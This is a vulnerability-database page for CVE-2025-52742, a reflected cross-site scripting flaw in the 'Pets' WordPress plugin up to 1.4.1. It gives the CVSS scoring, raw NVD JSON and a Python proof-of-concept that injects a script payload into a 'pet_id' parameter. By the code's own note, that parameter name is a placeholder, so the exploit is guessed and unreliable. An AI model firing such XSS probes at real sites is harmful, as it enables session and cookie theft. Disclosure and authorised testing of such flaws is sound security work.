Security Vulnerability Report
中文
CVE-2025-52742 CVSS 7.1 HIGH

CVE-2025-52742

Published: 2025-10-22 15:15:44
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Igor Benic Pets pets allows Reflected XSS.This issue affects Pets: from n/a through <= 1.4.1.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Igor Benic Pets Plugin <= 1.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-52742 PoC - Reflected XSS in Igor Benic Pets Plugin # Target: WordPress site with Igor Benic Pets plugin <= 1.4.1 def exploit_reflected_xss(target_url, payload="<script>alert(document.cookie)</script>"): """ Exploit for CVE-2025-52742: Reflected XSS in Igor Benic Pets plugin This PoC demonstrates how an attacker can inject malicious JavaScript through vulnerable parameters in the Pets plugin. Note: Replace 'vulnerable_param' with actual parameter name identified during security assessment. """ # Construct malicious URL with XSS payload malicious_url = f"{target_url}?pet_id={payload}" print(f"[*] Target: {target_url}") print(f"[*] Malicious URL: {malicious_url}") # Send request to trigger XSS try: response = requests.get(malicious_url, timeout=10) # Check if payload is reflected in response if payload in response.text: print("[+] VULNERABLE: XSS payload reflected in response") print("[+] Payload successfully injected") else: print("[-] Not vulnerable or payload not reflected") except requests.RequestException as e: print(f"[-] Error: {e}") # Example usage if __name__ == "__main__": target = "http://target-wordpress-site.com" exploit_reflected_xss(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52742", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:44.340", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Igor Benic Pets pets allows Reflected XSS.This issue affects Pets: from n/a through <= 1.4.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/pets/vulnerability/wordpress-pets-plugin-1-4-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}